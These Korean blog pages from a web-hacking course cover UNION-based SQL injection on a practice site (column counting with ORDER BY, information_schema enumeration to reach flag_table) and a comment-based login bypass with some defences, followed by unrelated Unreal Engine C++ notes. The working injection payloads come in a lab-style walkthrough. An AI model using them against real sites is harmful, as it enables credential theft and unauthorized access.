UNION

Union은 SQL에서 서로 다른 SELECT의 결과를 하나의 결과로 합쳐주는 역할을 한다. 

 

예를 들어 아래와 같은 데이터를 가지는 테이블이 존재한다고 하자

 

tbl_member

ID PASS CREATE_DT
patrache01 123 2023-11-30
patrache02 456 2023-11-30
patrache03 789 2023-11-30
patrache03 000 2023-11-30

 

 

tbl_games

NAME COMPANY PRICE
디아블로 블리자드 50,000
리그오브 레전드 라이엇 게임즈 0

 

 

게임을 조회하는 화면에서 아래와 같은 쿼리를 사용할 것으로 생각된다.

SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%'

그럼 결과는 

디아블로, 블리자드, 50,000이라는 결과를 반환한다.

해당 쿼리에 UNION을 사용하여 tbl_member의 데이터를 추출하려면

SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%' 
UNION
SELECT ID, PASS, CREATE_DT FROM tbl_member

쿼리를 만들면 된다.

 

이를 위해 입력값에 들어갈 데이터는

'%디아블로%' UNION SELECT ID, PASS, CREATE_DT FROM tbl_member WHERE '1%'='1%' 

이다

 

LIKE 검색으로 %가 들어있기 때문에 마지막에 '1%'='1%'를 추가하였다.

 

위와같이 UNION은 선행하는 컬럼의 개수와 후행하는 컬럼의 개수가 동일해야한다.

 


ORDER BY

ORDER BY는 데이터의 정렬을 하는 SQL 구문이다. 

SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY ID

 

위와같은 구문이 실행된다면 결과는 ID가 오름차순으로 정렬된 데이터를 반환한다.

 

그러나 ORDER BY구문에 한가지 특징이 있는데 SELECT 구문의 INDEX(순서)를 넣을 수 있다는 것이다.

이를 사용하여 UNION에 사용하는 컬럼의 개수를 구할 수 있다.

SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY 1

 

 

연습

 

위와같이 데이터를 조회 할수 있는 웹이 존재한다.

 

1. SQL Injection이 동작하는지 확인해보자

검색을 해보니 like 검색으로 동작하는 것 같다 즉 조건문은 아래와 같을 것이다

WHERE ID LIKE '%입력데이터%'

 

Ad%'  '1%'='1 로 입력해서 데이터가 나오는 것을 확인 했으며 이를 통해 SQL Injection이 동작 하는 것을 알 수 있다.

 

2. 컬럼 개수 찾기

order by를 사용하여 선행 되는 select의 컬램 개수를 찾아보자 

 

order by 2를 사용하니 level의 컬럼이 오름차순으로 정렬되었다.

이와같은 방법으로 숫자를 늘려가니 5에서 데이터의 결과가 없었다 즉 선행되는 컬럼의 개수는 4개이다.

 

3. 컬럼의 위치 찾기

현재는 4개의 컬럼을사용하고 4개의 컬럼 정보가 모두 화면에 나오지만 선행하는 SELECT의 컬럼이 10개고 화면에 4개만 출력된다면 출력되는 컬럼의 위치를 찾아야한다.

그 방법은 union으로 데이터를 넣고 출력해보는 것

 

%' union select 1, 2, 3, 4 from dual#

 

1,2,3,4 모두 화면에 표기 되는 것을 알 수 있다.

 

4. DB확인

어떠한 DB(일부 DB에서는 스키마라고 한다.)

%' union select 1, database(), 3, 4 from dual# 를 통해 DB명을 확인

sqli_1이라는 DB를 사용하고 있음을 알 수 있다.

 

5. 테이블 확인

information_shcema라는 곳에 Table들의 이름이 있다.

%' union select table_name, 1, 2, 3 from information_schema.`TABLES`# 

구문을 사용하여 테이블 명들을 가져올 수 있다.

모든 테이블들의 이름을 조회 했다.

해당 테이블 중 내가 사용할 테이블은 flag_table이다.

 

6. 컬럼 이름 확인

조회할 DB와 Table을 찾았으니 이제 어떠한 컬럼을 가지고 있는지 확인해보자

컬럼정보는 INFORMATION_SCHEMA.COLUMNS에 있으며 COLUMN_NAME을 조회하면된다.

 %' union select COLUMN_NAME, 1, 2, 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'sqli_1'and TABLE_NAME   = 'flag_table' #

 

flag라는 컬럼을 가진다.

7. 데이터 추출

이제 위의 정보를 기반으로 flag_table의 flag컬럼을 조회해보자

 

 

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
8주차 SQL Injection 대상 찾기  (1) 2023.12.18
5주차 SQL Ijection  (2) 2023.11.26
4주차 (burp suitte)  (0) 2023.11.15
3주차 (쿠키, 세션)  (0) 2023.11.08

SQL 삽입은 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법이다. - 위키백과 -

 

즉 내가 원하는 쿼리를 실행하도록 하는 공격방법이다.

 

예시로 로그인 로직의 sql이 다음과 같다고 하자

SELECT COUNT(*) FROM MEMBER WHERE ID = '{$ID}' AND PW ='${PW}'

 

SQL Injection에 대해 조치가 없다면  ID값에  doldol'# 혹은 doldol;-- 라고 입력하면 실제 사용되는 쿼리는 다음과 같아진다.

 

SELECT COUNT(*) FROM MEMBER WHERE ID = 'doldol' #' AND PW ='${PW}'

즉 doldol이라는 아이디를 가진 사용자가 있다면 ID만으로 로그인이 된다. ID이후의 쿼리는 주석으로 처리되기 때문이다.

 

이러한 SQL Injection을 막는 방법은 여러가지 방법이 있다.

 

1. java에서의 mybatis같은 SQL Mapper 의 사용으로 입력 받는 값이 쿼리가 아닌 문자열로 인식하도록 할 수 있다.

  - 단 mybatis에서도 #{} 를 사용해야자 ${}를 사용하게 된다면 위와같은 SQL Injection에 취약하다.

2. 입력받은 문자열의 공백을 모두 trim 처리한다. SQL은 띄어쓰기로 구문을 분석하기 때문에 입력받은 값들이 SQL일지라도 띄어쓰기가 되어 있지 않다면 하나의 문법으로 인식하기 때문에 문법에러(syntaxerror invalid syntax)를 반환할 것이다.

3. 특수문자들을 치환한다. 이를 이스케이핑이라고 부르며 SQL에서의 특수한역할을 하는 특수문자들을 다른 방법으로 치환하고 다시 사용할 때 역치환하는 방식으로 사용한다.

 

이외에도 일부 사이트에서 비밀번호 입력 시 사용 할 수 없는 특수 문자가 있기도 하다 #, $ 등등

일부 특수문자나 단어를 입력할 수 없도록 하는 방법도 있을 수 있을 것이다.

 

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

8주차 SQL Injection 대상 찾기  (1) 2023.12.18
6주차 union을 사용한 SQL Injection  (0) 2023.11.30
4주차 (burp suitte)  (0) 2023.11.15
3주차 (쿠키, 세션)  (0) 2023.11.08
2주차 (DB)  (0) 2023.11.01

함수 Exposing

UPROPERTY처럼 함수도 블루프린트로 노출시킬 수 있다. 

Item.h

	UFUNCTION(BluePrintPure)
	float TransformdedSin(float value);

	UFUNCTION(BluePrintCallable)
	float TransformdedSin2(float value);

 

Item.cpp

float AItem::TransformdedSin(float value)
{
	return Amplitude * FMath::Sin(value * TimeConstant);;


}

float AItem::TransformdedSin2(float value)
{
	return Amplitude * FMath::Sin(value * TimeConstant);;
}

 

BluePrintPure를 옵션으로 넣어주면 실행 핀이 없는 함수가 만들어지며 Callable을 옵션으로 준다면 실행핀이 존재하느 함수가 만들어진다 sin함수의 계산은 실행핀이 필요 없기때문에 Pure옵션이 적절해 보인다.

 


탬플릿 함수

탬플릿 함수는 JAVA의 제너릭과 유사해보인다.

 

Item.h

template<typename T>
T Avg(T First, T Second);

 

T 타입을 반환 하고 T 타입의 변수 First, Second를 받는다.

Item.cpp

template<typename T>
T Avg(T First, T Second)
{
	return (First + Second) /2;
}

 

위와 같이 함수를 만들면 해당 함수는 int32 파라미터, float 파라미터, FVector 타입도 받아 처리할 수 있다.

단 FVector의 객체의 경우 내부에 + 연산과 / 연산이 별도로 오버라이드 되어 있다고 한다.

추가한 멤버변수의 변경을 위해 매번 컴파일 하는 작업은 비효율적이다. 많은 작업은 블루프린트나 언리얼의 뷰포트에서 진행 될 것이다. 또한 시나리오 작업하는 사람이 C++의 코드를 수정하는 방법을 모를 수도 있다. 이를 위해 추가한 변수를 블루프린트, 뷰포트에서 변경할수 있도록 변수를 노출 시킬 것이다.

 

Item.h

private:
	float RunningTime;

	UPROPERTY(EditDefaultsOnly)
	float Amplitude = 0.5f;
	
	UPROPERTY(EditInstanceOnly)
	float TimeConstant = 5.f;
};

 

EditDefaultOnly는 블루프린트에 표기가 되며 모든 인스턴스들이 공유하기 때문에 전부 같은 값을 적용받는다.

우측에 Amplitude 값이 보인다.

Aplitude가 0.3으로 변경된다면 모든 Item의 Actor들은 동일하게 0.3의 값을 가지게된다.

 

각각의 Actor들이 다른 값을 가지게 하고싶다면 EditInstanceOnly의 값을 사용한다.

 

우측에 TimeCantant를 확인 할수 있다.

 

위와같이 각각의 ACtor 매쉬마다 다른 값을 가질 수 있게 할 수 있다 이를 통해 두개의 Item 매쉬는 다른 속도로 Sin함수 그래프를 그린다.

 

float DeltaZ = Amplitude * FMath::Sin(RunningTime * TimeConstant);

 

 

 

 

  1. EditAnywhere: 블루브린트, 에디터, c++ 어디서든 수정이 가능하다.
  2. VisibleDefaultsOnly: 블루프린트 화면에 표기는 하지만 수정할 수 없다.
  3. VisibleInstanceOnly: 해당 값은 인스턴스에서 볼 수있지만 수정할 수없다.
  4. VisibleAnywhere: 블루프린트, 인스턴스에서 모두 확인 할 수있지만 수정 할 수 없다.

 

 


블루프린터에서의 사용

Item.h

protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

	UPROPERTY(EditAnyWhere, BlueprintReadWrite)
	float Amplitude = 0.5f;

BlueprintReadWrite와 같은 일부 옵션들은 private에서 동작할 수 없다. protected로 이동시킨다.

해당 옵션을 사용하게되면 Bluplrint에서 Node로 사용할 수 있다. (BluePrintReadOnly옵션도 있다.)

 

UPROPERTY(EditAnyWhere, BlueprintReadWrite, Category="Sin Parameter")
float Amplitude = 0.5f;

Category옵션으로 여러 변수, 함수들을 묶어서 볼 수 있다.

+ Recent posts